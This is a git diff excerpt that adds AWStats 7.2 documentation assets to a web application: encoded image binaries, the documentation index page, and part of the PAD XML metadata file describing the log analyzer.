z*T{dq{hvYBbgE8+vd{L5Kf9Ln&&j*HUAip&`t7yiLB2ZwT$1PXOqD!vK0Y~=<8$0E zfhWJEFm#{GGW&jZ#m~=vZ&`}i+BA+^yyIiH)jIm<M4nVekiYR6zI78fp5WLaYuG&P z{q3bPtG?}At{wQy?EAt047U3}UUvIo|9tyDt8DhbopTl%nZ)_b%wWhd<B4hh@tpm- zOi-4&__ouWJB;2XghptjoU`wiU&n4!tF7rhHRf8Ycv#KKo3nqT`{%5))~!qdXY0l9 z?#^Skw@&GKysU11)U=~{x0tJ0dfrSj;5e>z!fW#7m5d&LUd{e4vL-dK=;~CvyME2k z5HZPb{#RZ9c-f{L{dcCkR+SSCl}>JCNnpO{|FQ7S)t-ATiESzt2NjFl!fikPegC;D zNq@2P?x)k$*?X6Dtxx<mUw7a2-k-LHJ;}GXM`<vrZ{1$GB)v&Z<*Np-`J1x+pWpKT z{h+a^Z-IRB*8dFiGwR<ry5D$P|NNHx?+1ad44$l8_Y`Zpvv}2pGORWUbYK+;bU4(d zu>^FC#|wo;U7BA&^ZhRvT}6VVxil8dXzJ2f31cifps}dSgUx5vhZE}-HokGoT8}W; zkR8SjUbJ<)=fp`IQ~Dk<Eb3y&hlvM%vyT7yt^MB*kw6EIY18gy{byKw`1<drxw>n2 z&U4Crq_Vw4B+!8quBx{0`oG$R{~7kNiUcq(-MU@Xn8p2xY(Q|`@$CN$b{GCL+-K_2 zVE8S&{?Bjc{|q%;CDXP&(+Gd_F`;r!j@*_&2VR7f9g-GJ1sUDke`j8QtJt`I*+E}~ zB8_E?aJyf;%{@|_bWd^0o2D)e#{JkrQiU1h&%j9>Q$C+?uts%NvLoE2iMOIT1OCpF z-~0EVtH=?ZY1^KatKC!bE_XzV6lP&qylH-ly1i%hK91Q>WCNr$76{zmc<VpI`7QR} z4=jc$(OA?dwq|N_i%yn6mBvxuo%{FHTWKt)WxaF%p8Z^9p~6YNA^{3uj`Zx`$3HLX zN&wS~i|Z@?l>~a!GJ_d;`S0b=b!jB`Jp>zIZvMUhxvNNt>N{k`4s6ek-?N`966kRL G|4jgOV|U*G literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_large_5.jpg b/src/main/webapp/monitoramento/docs/images/screen_shot_large_5.jpg new file mode 100644 index 0000000000000000000000000000000000000000..8c47d00ae3c44601c173746b7f5feebca7d8c86a GIT binary patch literal 5227 zcmex=<NpH&0WUXCHwH#VMg|WC4+e(+w;7xncsaSaxj1;axw!fGc=?4DM1_Tfgw<u_ z#1-^34Gr`(b#;ubyzGq4+{|@!9l{;meEfofgN*E=5~BhVyaI##L548$@$m@@3ag2V zs`;Dhn);Ir{vTiv<X~99aFv-+iGfLwky()O{}Bdx1_nk}MlfK20!Aig7FITP4o)ua z|3?_M3NSD+GBY!=Ftf6<urM$%)-p0NGq4D<3Mm>ovIz$!vMUve7&T5@$f4}C@t|nX z#SbdRNkvVZTw>x9l2WQ_>Kd9_CZ=ZQ7M51dF0O9w9-dyoA)#U65s^{JDXD4c8JStd zC8cHM6_r)ZEv;?s9i3g1CQq3<ZTgIvvlcC0vUJ(<6)RV5+Pr1!w(UE1?mBe%$kAiR zPn<k;>GGAU*RJ2VdF$b$$4{O<d;a3(tB;>PfBE|D`;VW$K>lK6U<UgNL_j=-<}X18 zCPpR}7G@T9kiQt2${84$m<3r_6%E;h90S=C3x$=88aYIqCNA7~kW<+>=!0ld(M2vX z6_bamA3<IN`;0h`HId~rxW^Fwy2Zf5%*enb$SlZU&#-Tw)V9w|26GlXu;!TEI6vg9 zQbpSJ^D4)U8VaNZljU~Yj4qzqke;(CPhH7WrGLHMRpAqpj<>Zv=5Rbdt@80}KU0-0 zJ7(?MX2jpFdoV#^#)=2Yr%qS@y*16BKf1EZ$*aidh>o+|{qk9tKVQ$5S9?Bj5{tWS z;p_KadTq~?xaX`Z{5|=c<-aM_k>B}3Qco|4ZVTAxb&BB$N1N@ww+bKrZnonI=UQXn z@#%nkL)684lg<>&J`$5H+qB|O|JKM}W3~flw@*B2`KtQs;#=o;{8UO+Yt556x+!4B zu|MwT|5?wf{P1<o#N4te>FY#|>;<+i7qJUGwOjuCjP0LI?r-M({pY0doX3^NpU$#f z^L|H>%PBeW4f3C^J^%Mh{-KwRagzPhwdenSu|KqRN&6YC$d22WGnIdqE}f)rEIp&A zzGUjZkm{_tM^DNf3;1w%!heQo+vR8cXW$Bac-!zlgRY*v;Xl!pGIdc8tmVIV+Ml`n zFF){S;M?>&mdZCyNwLoO&oFKBzvMp}R;rWcNG@f++x{bLB}<d>^-C?%*7NLdCEk{K z@cG9@i2Bn~t|0R-)!%piqv<v^#s2A*`QI=6XW+Wb(7^WH!t&|uKbZ$6Ft9eT+t=<t zw)}P|pT{?&V>8p>>IyEeW&g9S{`ZUe)~ut(M|Ou#ob%_%<e!uMe}~NL{3-u&>DyK9 zD%FxqhpyD04*$=vul+}G>(mwh8K$lM&rr+%VQu_Y&lmG2{%4S~yQ;pZ&izlux2w*R zY<o6l=GZ@7U6(XRckS^%TkL17)yJ;xArJGvDETwNEd~5PGk<mM|F+Ur_>=u(_ghQ8 z_@DUC&?|RsMUneP7aiq)QFU9aj-B4(bIN%Bl)kL*Fa^pnCr*X59+Y_Ld3D8isg}Sw z+b%p{o#!Ny{Qjb!MdloNlZpMyAG(^Fne!_z{*?5eVV>uIhMKOYTjd4JX0M!)zL8C- zTt>~y&F<sl3km;BFaKS}duCrr!peiJ?XoNS-+Y=j$zJm`kFg$~`?9PzM~W`~IPD{} zrd-Tlc-8h<yBRfJIoz^JUn%+R%d<5{AFb8$-rD?T)4I2d)eI*@e4P05#PfUGd1uYs zb4<|8Q{9kf&hIPp)0!<mDW6|=(1SH2=~jKoT>D+x8VMg~6u<oQI&t62Ut!VSQXBs> zIM2P!u9_5AFYF-Lv?RsE;`J<xuWjp=c$}OpcjrF?XXw&T%Jzr$e?Re`fvcRUlReLU z^5w1u={GzFQ|J9>*q8rLZL8gB{y(4ne?O>i)!g2>?~~?pn-#Br1{N5_u6HYx?JK;v zMEO5M>hk(!e|EN=5vu(A^5xr4*A{N?=n)B?|IPhJ;1l;bZ)3jvUi?R6hvaIx#S{14 zy1v|^>_5Y!48vE};bPZz@9);TA@l8Lt+rcv#Z<4hq6i+odw;crOEq4z%s5tmUL=OA z+Ej`Cm+FeIe_z*s6j^5LtSolzNJ6^aVfOtWKHtBz_V2Qo$0w%$`6t4?(nF%nuZsVZ z#txA`d%cy#w(U4>IdO;m_wy!|RsHfWw(a}RuqV&{<Grj0JEweYbDU5(|35>hg}<i7 zr#Xf1|B1wKIoZ0)+`9Gr-!Ak248opIU&Yifx-~!enZaMPYg2r6R_|cg^O)y`{i&HY z&+h2YaEo3hQQxZF=zRK0!G4J0`Tvxrs4Z@u?H%)<;kw(w{|v{o{ltt8O-kuKZ1HG* z^WVq6f_F&1=K0O`<MG|T0zPBEPpSVN)!#R*X8(Qs%VH3*=s_Sv%%sxjKSQDY`&oNI z+Cnm(F45i=*z?KZ;IjseyEiH?X><A{C;SYpkJ2=?-kJNP$9?<McN!}t7nT-(t1DU{ ze6=}w`G!T;zN**Gl-@XjX~VCtO!Mu^w%N~=n|m}Qj79V_=ZUw<&n16_b;b&128JkC zd^h&iW}H;#UjH=gaf_P4C-e9{PcCI0mb+i_S6lLl?~~efA3e@<3o6#l*H_+Nbu)ig z-PE4%Uh)}Ng=~b(ekS+b_@m{pHQOZRXV&KvcP3qObN|c`y6Rk8zEx<%R?`Xd%2qKS z|Ie`c=e1r2kw8~4b}VD;b!2(Ef8jUN0JkOYB##&NvDK{%*PE*xlF7-vdybj$!S?~( ztAj5X{%6>B-~Zd*qYO?fmNGt<TUyxnpW)7;`=`U%x%J!(P8Ime{5`dkr(0<<kKgGz z@^j4X=X#i@KkJ-+=kYHohDAo#yG=4yZ%IxFll)Wm`^x=ng~ti!FaBrvF>7n%OE>nV z3`%BC!oEr_UDU;(0mWJz9mX4keEjXT_1NR?gnVTQVw*etE#ryvCmRgUe|hQ4IDPGZ zhPB;)?|)d-oBuZ_{@s6uR#9fNr|<tWT>rMp^^@65exLsgYbV?OUG?TTWB=##+m{A~ z+sOX4dgf_sH+74dYS(eC{bqg~>Sqft&-bsIbvx1K#KT>UdpGtUTku?+r@+nObBgQ- z>(Cb|oozSn%&B_*>+-Y%9(6B&g?Y|ODs!(*<MU&T*}%Nw_ucGBP+pIpUQpbj({b{k z%JcPgR==(}t8SYXDgSKewyBkm49|Zy&05qZ;u`iT$<yq?8(CWii<dzc7+pmIK$t~5 zrNzf0D2Bm9edCvB3pvdm_|+{;`6^TT>)%w<dv7<sIac0x^Un@b&Pm@l<~;tpZvXeA z43<eVo-~Qi`<HJ2<HJ&eJL&Hi%C<fK&+uqv>$~suf^s|T|G1i$zGGisKXw0)E{5qR z=P!Hu@_O;t$A8zaf9cTn`1i@n>z=><&rln(`h?`92g29C*VMl-`Ol#LZ?^YO{T~4= zaz1zdeXQO0pW#1)Xwad)4wn|;c{l$pxzgO&Gx=S{0;Vnv2wvEG<IJhl&USmPK6m@5 zS&MpOypAk!tbFQkTm8|OaWd98TCSokP*5+Q@3kzZanj@EL6>+wfB7a_R42N5{+WJ% zuN5*A{Qgz(-?NW<ynJsiZ)eH|ck|OKsS)*Cwdd!xt?PL_Z|gkKCuJd)sW#2p>%XkN zxYC7Tl7G#de_NJug#BLrGLq@O&e^{+1+BaD_>7L*2p_My4$3OsPnLbRzxmx|Ql)Us z+V{P8?YSCf6>i?dtdx`Ydd{P{kxm>Zt=H%?y#4)d&-`zHUwKzY#O}-Xp3(7KUsGY8 zt;DkilZ;jSZ+^SooD|bHe_#E_m5N)t*zU^xc`R?zbN|c*mMej-3}O2uTWUJ)o4Z@c z@`m>OEN1sud!es~<MG$km(@N?ylg+`@7Un${rmmT_u_v){%5$pfFogAWyoZe?0(m~ ze|o)t-~ah${`dF)8P<D$PJf=7{A#iMwJrw#d*7#ee7X6b;W~2u0Ob=cj>$Q1?x%;G zt1EExx4*vDKfq;y-w|h}d39+y&F8PpV%CrT&k!yCd;ddMsr$cf?7#b;flG@m*Z+G& zy4;`NRiPodhs(a5kN-NUc>bX^G5Z+f7?OLQwl6Qxvaa}ZDY`oMKSNsBKX=hBCE+R& zN|g-hN#R#hYyNFbRB$PJ6|cUr$o;A3x6<>!PS(GF`0YOfS4m;VF=p%fJx8u=FOUHh zTBdszHzmyPvkP#r{l)zL+Lqbx<}VF*jctA^YpdlJ8pyz~M%>=4e($f(zMKp;j>YFK zPS^Lw-PnIueyX(i@5P@MaLsHHsF^+I%Rl{(OOEbP;aFFBKK=dC7-SWxy0<6u9t%m3 zpKt5G|L0k~gr_a$k`gxBeRH+$9sT#>&kC?&h9D*$(NB3Bc073h{OhwhtC@S7v>RkT z&wYITPuAgM$K@hjzn)6BUu$sGKE0*>w(@_5qrn@5HMkbKJ04dz*~-wB!?P#uNB8>I zj%~r0Tx9K^&VPQdyRy+%H2&o5Jf4luZCzsbTg9uz*;mc`&#?PH!|RLr2I`9z^{EBb z91D|pz;e`cWBo3BEeBnZ*&u%{PWsPKQWwIoB`7EUUH_@x?!Om*1~6TOC^B3B-TkS9 z#4cETX<YlyaP8>7_df!IjH5nGyu(+$ncv?__mNS}yR*lcb9(>uMlag(?9w4FjYUgX zK<V5)^`N}Y5x&C-Hg%<yppwaD!fNKZR+UCK|1(7G_TPW+<&OZ?1=}qor=;%`?5mFw z&11he-KNaJer@n45i_^xg|GbQ?EKGg;f2`8Ic%5pYK_u@`~TE6=;iD@`1iZT<L}AM zKmRk#xe)Z&Qn-$l{l|rAVJ{wDl`wcwzWvA5E{65no-qEt;8%Ujs;(q==X0a}-{0(y ztqF7xo&T2m<Xn;T9~0_7h8(NpREa&tp18H*Z&vmM|EUcY6J+K!-&=B5{m&oQ{|q(t zUtcio`uYBpUrV)u{k7%34-0-KzhaQTHiy%`^6K9!Nz)pH)qgMlvKT}xT|@?Fg_47M z@)IlJ`ExcXe119q*bK=k%<v8{Ubv`Bs|8e7D%W2AvZj(rplDaK>|KEk^6j?T;0B({ zBsWI3UvGGC+?vSTpHP-A-^*Yu_+DOZ`So@2^5>>-+?lvNNb>Qd`|<Hr@s`H_85E`O z|Ndn8pW(RuRFhMU4N|=?PX1?@r||qggUq)D+|zs{BUpFHJo$Ox`G@nD)?7<E(esLJ zarLxg#sbf`e>c#2W3b1^JLa^8EpzMRPfQJJi@G$Jq$keTesZVgVB<f#t7_N(Gt3M7 z&+z^Fe}<?<yABF68P8;w+wz}5qyGGy`UwlzS17Mq^q*lz#nNS~-k$h$%|5ZK6x<8| zc@c(1S)yyc9hhzN_s`qcxBq-u`HEwP<PFZH$>&d<Zm|3n?2!7p{&muShVnle%d<Xu z>RkL;xH+-%z^}j{<GL=5WeSVBG#I7d&0m`0S+t77YK`E-joY)P$=$8`C%W!_$zLsz z-`!sp@LVhxdptMoK7-Kx0-myi=Ql19&+-Uf6ZOQ5Pt>jA<+ZIE3%JZK*}VNd*GsbL zan&N``!_z$k=pAj!Vu^x!pM8x<ACm&=GIrWD{tGsyqEv`_kV_)!6(=y86G@IYv&2) zy6wNt*ny*2Qd-h>=H|b?RtrBpKmP0E{Mh+_t88|Do^MlY7QB6iaA3fU=Xd<)8Q#cw z8RRA#&iA{2ouO+(sYsv)ylz|2<#2h^-=#7=e;RoD>X&=X>q>A|5B&FHQKwb^cUMtm z-FNZt`Oo#9{`>Ifb+u2ob(S06l`*pmm-w^!(i+!No^_&$6Vi7l1Qu+(l!s7g@V%>_ z>2Ke|J=e5%1}hrg-OK8A*-bXYQSn^m?c?&Tyf=h)Uf8U6`7__Vt?nsDQuE4w@$j)f zjl6iGf3v}^>F49_M|F8m_5HDB=C)0J;_GT{3thkLsFXTp-L#-~1(S8F%)g|5z32bx zj{p5+e`w=6{V=|1;X-vE)KBbuJ+E#~-J-d<Ws}?gGq}z)+jo9u)#vNWy`;B2OioX^ zee$=z<T(SYs*+`IcHCmWwe#zN{|sD5C;d>FxctU4#V0rC)LuNU-Z$splnrs6K}O$# zonpVeEihtVFMqAOaf?vRoI8E)GJN)4zS|ji?&{Sw&pKm#VDpTb90$(5GxYr(yMOM} z8MhZ&?>HV)AEhT|+I7xdT#Nrgkm#Jo?ge%YMa5r!)rHRf)}7ekc+z&`>z*rW|L(-D z-Px35^zJiLZ}XgFyDjPkrsroF&OX9^hcC-x<`iL-7mu$iByE)XCAvGJ?!02q(mfZq zXFTbtdfs#4`nT7mGIB0QJUBm#I=UWIp8O-QQ2Jihe}+1{`rC`o`M*DY{Ub+K24 zO|^zyDbuHY+_iq%8;OZi4<2KyTs)KS*z-BftB?O@sJ+z5_#)u1)P{MVSV{t=4U*j4 zEDo^$x^%jnC09alb9;i(j>oUvjku+E_y4y4epMPwCY&s3oZy=GiA{^|{=<{+kJ>)- zcn}%KE}4^SBl!NTUc$!hJN`3l{?AYw2&Ka`XDRpVnpb^d(=ywk*buE5A@k>M8(XbC zSCaX5`ET{_SDAy!=W25dB)9BjNp7`x{n}Gnr9FRQ3A>`-=d;>V9$oU^xwf*Nb<e84 bh;0`tL_)I@_#Qv?n9F{y>Z0qB`u{fpJc%b! literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/star.png b/src/main/webapp/monitoramento/docs/images/star.png new file mode 100644 index 0000000000000000000000000000000000000000..f9080f4cb1681d334813033e372d80d3f8991751 GIT binary patch literal 286 zcmeAS@N?(olHy`uVBq!ia0y~yU=RRd7G?$phPQVgfdtq~Jbhi+FL8?TNJ~U8T$f{D zVBjq9h%9Dc;1&X5#!GkW{xC2wu%tWsIx;Y9?C1WI$jZRLU=ZLF;`;yp|BYrW?~2%t zxUuYWWcgCf{(q6@-)_Eh0j&R*hCIt+yB5y+f2Q95)oK5?_x<0$v?faDI0FL%V@Z%- zFoVOh8)*y-3@M&2jv*Ddk`o-*&M!3iAF9!uFVwN;d*8$RiUQ5g@9p01eo)ACrsY#p z_6DA7vp#+Lw1Aa|=gslc-P<^rTyI?RUhHVXoPKrPQ6>eqs>KDyGX!-`ykJT)kTfu` j;Bt7I&|)ajz{AimSAzMQ(V~Y83=9mOu6{1-oD!M<R|aPC literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/index.html b/src/main/webapp/monitoramento/docs/index.html new file mode 100644 index 0000000..a49bcff --- /dev/null +++ b/src/main/webapp/monitoramento/docs/index.html @@ -0,0 +1,181 @@ +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> +<html><head> +<meta name="keywords" content="awstats, awstat, log, logs, file, analyzer, analysis, web, server, reporting, reports, geoip, index, main, page, faq, doc, documentation, docs, setup, manual, instructions, questions, support, help, problems"> +<meta name="robots" content="index,follow"> +<meta name="author" content="Laurent Destailleur"> +<meta name="description" content="AWStats official documentation pages (setup, FAQ, demo...)"> +<meta name="title" content="AWStats log analyzer Documentation"> + +<title>AWStats logfile analyzer Documentation</title><link rel="stylesheet" href="styles.css" type="text/css"><!-- $Revision: 1.55 $ - $Author: eldy $ - $Date: 2013/07/09 19:57:08 $ --></head> + +<body topmargin="10" leftmargin="5"> + +<center> +<table style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" bgcolor="#ffffff" border="0" cellpadding="0" cellspacing="0" width="100%"> + +<!-- Large --> +<tbody><tr style="font-family: arial,helvetica,verdana; font-style: normal; font-variant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> +<td align="center" bgcolor="#9999cc"><a href="/"><img src="images/awstats_logo4.png" border="0"></a></td> +<td align="center" bgcolor="#9999cc"> +<br> +<font style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 16pt; line-height: normal; font-size-adjust: none; font-stretch: normal;" color="#eeeeff"><b>AWStats logfile analyzer 7.2 Documentation</b></font><br> +<br> +</td> +<td align="center" bgcolor="#9999cc"> + +</td> +</tr> + +</tbody></table> + + +<br><h1 style="font-family: arial,helvetica,sans-serif; font-style: normal; font-variant: normal; font-weight: normal; font-size: 20px; line-height: normal; font-size-adjust: none; font-stretch: normal;">Table of contents</h1> + + +<table style="border: 1px solid rgb(153, 153, 204);"><tbody><tr><td> +<!-- SiteSearch Google --> +<form method="get" action="http://www.google.com/custom" target="google_window"> +<table bgcolor="#ffffff" border="0"> +<tbody><tr><td align="left" height="32" nowrap="nowrap" valign="top"> + +</td> +<td nowrap="nowrap"> +<input name="domains" value="www.awstats.org" type="hidden"> +<label for="sbi" style="display: none;"><font color="#ffffff"><font style="color: rgb(0, 0, 0);">Enter your search terms</font></font></label> +<input name="q" size="28" maxlength="255" value="" id="sbi" type="text"> +<label for="sbb" style="display: none;"><font color="#ffffff"><font style="color: rgb(0, 0, 0);">Submit search form</font></font></label> +<input name="sa" value="Google Search" id="sbb" type="submit"> +</td></tr> +<tr> +<td> </td> +<td nowrap="nowrap"> +<table> +<tbody><tr> +<td> +<input name="sitesearch" value="www.awstats.org" checked="checked" id="ss1" type="radio"> +<label for="ss1" title="Search www.awstats.org"><font color="#ffffff" size="-1"><font style="color: rgb(0, 0, 0);">AWStats web and documentation</font></font></label></td> +<td> +<input name="sitesearch" value="" id="ss0" type="radio"> +<label for="ss0" title="Search the Web"><font color="#ffffff" size="-1"><font style="color: rgb(0, 0, 0);">Web</font></font></label></td> +</tr> +</tbody></table> +<input name="client" value="pub-1071905880519467" type="hidden"> +<input name="forid" value="1" type="hidden"> +<input name="channel" value="8915254648" type="hidden"> +<input name="ie" value="ISO-8859-1" type="hidden"> +<input name="oe" value="ISO-8859-1" type="hidden"> +<input name="safe" value="active" type="hidden"> +<input name="cof" value="GALT:#008080;GL:1;DIV:#9999CC;VLC:663399;AH:center;BGC:FFFFFF;LBGC:9999CC;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;LH:47;LW:102;L:http://www.awstats.org/docs/images/awstats_logo3.gif;S:http://www.awstats.org/;FORID:1" type="hidden"> +<input name="hl" value="en" type="hidden"> +</td></tr></tbody></table> +</form> +<!-- SiteSearch Google --> +</td></tr></tbody></table> + +<br> + + +<table border="0" cellpadding="6" cellspacing="0" width="600"> + +<!-- Ligne 1 --> + +<tbody><tr><td align="center" valign="top" width="50%"> + +<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="100%"> +<tbody><tr><td align="center" bgcolor="#e9e9e9"> +<strong>Release Notes</strong> +</td></tr><tr><td> +<a href="awstats_what.html">What is AWStats / Features</a> +</td></tr><tr><td> +<a href="awstats_changelog.txt">New Features / Changelog</a> +</td></tr><tr><td> +<a href="awstats_upgrade.html">Upgrade</a> +</td></tr> +</tbody></table> + +</td><td align="center" valign="top" width="50%"> + +<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="100%"> +<tbody><tr><td align="center" bgcolor="#e9e9e9"> +<strong>Reference manual</strong> +</td></tr><tr><td> +<a href="awstats_setup.html">Install, Setup and Use AWStats</a> +</td></tr><tr><td> +<a href="awstats_config.html">Configuration Directives/Options</a> +</td></tr><tr><td> +<a href="awstats_extra.html">Configuration for Extra Sections feature</a> +</td></tr><tr><td> +<a href="awstats_contrib.html">Contribs, plugins and resources</a> +</td></tr><tr><td> +<a href="awstats_tools.html">Other provided utilities</a> +</td></tr><tr><td> +<a href="awstats_glossary.html">Glossary of terms</a> +</td></tr> +</tbody></table> + +</td></tr> + +<!-- Ligne 2 --> + +<tr><td colspan="2" align="center" valign="top" width="100%"> + +<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="100%"> + +<tbody><tr><td colspan="2" align="center" bgcolor="#e9e9e9"> +<strong>Other Topics</strong> +</td></tr> + +<tr><td width="50%"> +<a href="awstats_compare.html">Comparison with other log analyzers</a> +</td><td width="50%"> +<a href="awstats_faq.html">FAQ and Troubleshooting</a> +</td></tr> + +<tr><td width="50%"> +<a href="awstats_benchmark.html">Benchmarks</a> +</td><td width="50%"> +<a href="awstats_license.html">AWStats License</a> +</td></tr> + +<tr><td><a href="awstats_dev_plugins.html">Plugin Developement</a></td><td></td></tr> + +</tbody></table> + +</td></tr> + +<!-- Ligne 3 --> + +<tr><td colspan="2" align="center" valign="top" width="100%"> + +<table bgcolor="#ffffff" border="0" cellpadding="4" cellspacing="0" width="100%"> + +<tbody><tr><td colspan="2" align="center" bgcolor="#e9e9e9"> +<strong>AWStats modules for third tools</strong> +</td></tr> + +<tr><td width="50%"> +<a href="awstats_webmin.html">AWStats module for Webmin</a> +</td><td width="50%"> +<a href="awstats_dolibarr.html">AWStats module for Dolibarr ERP & CRM</a> +</td></tr> + + + +</tbody></table> + +</td></tr></tbody></table> + +<hr color="DDDDDD"> + +<!-- Paypal donation --> +<form action="https://www.paypal.com/cgi-bin/webscr" method="post"> +<input type="hidden" name="cmd" value="_s-xclick"> +<input type="hidden" name="hosted_button_id" value="8968579"> +<input type="image" src="https://www.paypal.com/en_US/i/btn/btn_donateCC_LG_global.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online."> +<img alt="" border="0" src="https://www.paypal.com/en_US/i/scr/pixel.gif" width="1" height="1"> +</form> + +</center> + + +</body></html> diff --git a/src/main/webapp/monitoramento/docs/pad_awstats.xml b/src/main/webapp/monitoramento/docs/pad_awstats.xml new file mode 100644 index 0000000..ea3bafd --- /dev/null +++ b/src/main/webapp/monitoramento/docs/pad_awstats.xml @@ -0,0 +1,228 @@ +<?xml version="1.0" ?> +<XML_DIZ_INFO> + <MASTER_PAD_VERSION_INFO> + <MASTER_PAD_VERSION>3.11</MASTER_PAD_VERSION> + <MASTER_PAD_EDITOR>PADGen 3.1.1.47 http://www.padgen.org</MASTER_PAD_EDITOR> + <MASTER_PAD_INFO>Portable Application Description, or PAD for short, is a data set that is used by shareware authors to disseminate information to anyone interested in their software products. To find out more go to http://pad.asp-software.org</MASTER_PAD_INFO> + </MASTER_PAD_VERSION_INFO> + <Company_Info> + <Company_Name>Laurent Destailleur</Company_Name> + <Address_1>11 rue Raymond Queneau</Address_1> + <Address_2 /> + <City_Town>Rueil Malmaison</City_Town> + <State_Province>Hauts-De-Seine</State_Province> + <Zip_Postal_Code>92500</Zip_Postal_Code> + <Country>FRANCE</Country> + <Company_WebSite_URL>http://www.destailleur.fr</Company_WebSite_URL> + <Contact_Info> + <Author_First_Name>Laurent</Author_First_Name> + <Author_Last_Name>Destailleur</Author_Last_Name> + <Author_Email>eldy@users.sourceforge.net</Author_Email> + <Contact_First_Name>Laurent</Contact_First_Name> + <Contact_Last_Name>Destailleur</Contact_Last_Name> + <Contact_Email>eldy@users.sourceforge.net</Contact_Email> + </Contact_Info> + <Support_Info> + <Sales_Email>eldy@users.sourceforge.net</Sales_Email> + <Support_Email>eldy@users.sourceforge.net</Support_Email> + <General_Email>eldy@users.sourceforge.net</General_Email> + <Sales_Phone /> + <Support_Phone /> + <General_Phone /> + <Fax_Phone /> + </Support_Info> + </Company_Info> + <Program_Info> + <Program_Name>AWStats</Program_Name> + <Program_Version>7.2</Program_Version> + <Program_Release_Month>07</Program_Release_Month> + <Program_Release_Day>07</Program_Release_Day> + <Program_Release_Year>2013</Program_Release_Year> + <Program_Cost_Dollars /> + <Program_Cost_Other_Code /> + <Program_Cost_Other /> + <Program_Type>Freeware</Program_Type> + <Program_Release_Status>Major Update</Program_Release_Status> + <Program_Install_Support>No Install Support</Program_Install_Support> + <Program_OS_Support>Linux,Linux GPL,Linux Open Source,Mac OS X,Mac Other,OpenVMS,Unix,Win2000,Win7 x32,Win7 x64,WinServer,WinVista,WinVista x64,WinXP,Other</Program_OS_Support> + <Program_Language>English,Arabic,Armenian,Breton,Bulgarian,Catalan,Chinese,ChineseSimplified,ChineseTraditional,Croatian,Czech,Danish,Dutch,Estonian,Finnish,French,Galician,German,Greek,Hebrew,Hungarian,Icelandic,Indonesian,Italian,Japanese,Korean,Latvian,Norwegian,Other,Polish,Portuguese,Romanian,Russian,Serbian,Slovak,Slovenian,Spanish,Swedish,Thai,Turkish,Ukrainian,Welsh</Program_Language> + <Program_Change_Info /> + <Program_Specific_Category>Development Tools</Program_Specific_Category> + <Program_Category_Class>Web Development::Log Analysers</Program_Category_Class> + <Program_System_Requirements /> + <File_Info> + <File_Size_Bytes>1347670</File_Size_Bytes> + <File_Size_K>1316</File_Size_K> + <File_Size_MB>1.29</File_Size_MB> + </File_Info> + <Expire_Info> + <Has_Expire_Info>N</Has_Expire_Info> + <Expire_Count /> + <Expire_Based_On>Days</Expire_Based_On> + <Expire_Other_Info /> + <Expire_Month /> + <Expire_Day /> + <Expire_Year /> + </Expire_Info> + </Program_Info> + <Program_Descriptions> + <English> + <Keywords>awstats,opensource,log,logs,analyzer,analyze,webalyzer,analog,apache,iis,postfix,open,source,free,perl,mail,web,ftp,streaming,server,combined,file,webmin</Keywords> + <Char_Desc_45>AWStats - Open source log file analyzer</Char_Desc_45> + <Char_Desc_80>AWStats - Free log file analyzer for advanced web statistics (GNU GPL)</Char_Desc_80> + <Char_Desc_250>AWStats is a free powerful and featureful server logfile analyzer that shows you</Char_Desc_250> + <Char_Desc_450>AWStats is a free powerful and featureful web server logfile analyzer (Perl script) that shows you all your Web statistics including visits, unique visitors, pages, hits, rush hours, os, browser's versions, search engines, keywords, robots visits, broken links and more... Works with all major web, wap, proxy servers and some mail and ftp servers. Works as a CGI and/or from command line. Distributed under GNU General Public License.</Char_Desc_450> + <Char_Desc_2000>AWStats is a free powerful and featureful tool that generates advanced web (but also ftp or mail) server + + + +statistics, graphically. This log analyzer works as a CGI or from command line and shows you all possible information your log contains, in few graphical web pages like visits, unique vistors, authenticated users, pages, domains/countries, OS busiest times, robot visits, type of files, search engines/keywords used, visits duration, screen size, HTTP errors and more... + + + +Statistics can be updated from a browser or your scheduler. + + + +It uses a partial information file to be able to process large log files, often and quickly. + + + +It can analyze log files from IIS (W3C log format), Apache log files (NCSA combined/XLF/ELF log format or common/CLF log format), WebStar and most of all web, proxy, wap, streaming servers (and ftp servers or mail logs). + + + +The program also supports virtual servers, plugins and a lot of features.</Char_Desc_2000> + </English> + </Program_Descriptions> + <Web_Info> + <Application_URLs> + <Application_Info_URL>http://www.awstats.org</Application_Info_URL> + <Application_Order_URL>http://www.awstats.org</Application_Order_URL> + <Application_Screenshot_URL>http://www.awstats.org/docs/images/screen_shot_1.png</Application_Screenshot_URL> + <Application_Icon_URL>http://www.awstats.org/docs/images/awstats.gif</Application_Icon_URL> + <Application_XML_File_URL>http://www.awstats.org/docs/pad_awstats.xml</Application_XML_File_URL> + </Application_URLs> + <Download_URLs> + <Primary_Download_URL>http://www.awstats.org/files/awstats.zip</Primary_Download_URL> + <Secondary_Download_URL>http://downloads.sourceforge.net/project/awstats/AWStats/7.1/awstats-7.1.tar.gz</Secondary_Download_URL> + <Additional_Download_URL_1 /> + <Additional_Download_URL_2 /> + </Download_URLs> + </Web_Info> + <Permissions> + <Distribution_Permissions /> + <EULA /> + </Permissions> + <ASP> + <ASP_FORM>Y</ASP_FORM> + <ASP_Member>N</ASP_Member> + <ASP_Member_Number /> + </ASP> + <Affiliates> + <Affiliates_FORM>Y</Affiliates_FORM> + <Affiliates_VERSION>1.4</Affiliates_VERSION> + <Affiliates_URL>http://pad.asp-software.org/extensions/Affiliates.htm</Affiliates_URL> + <Affiliates_Information_Page /> + <Affiliates_Avangate_Order_Page /> + <Affiliates_Avangate_Vendor_ID /> + <Affiliates_Avangate_Product_ID /> + <Affiliates_Avangate_Maximum_Commission_Rate /> + <Affiliates_BMTMicro_Order_Page /> + 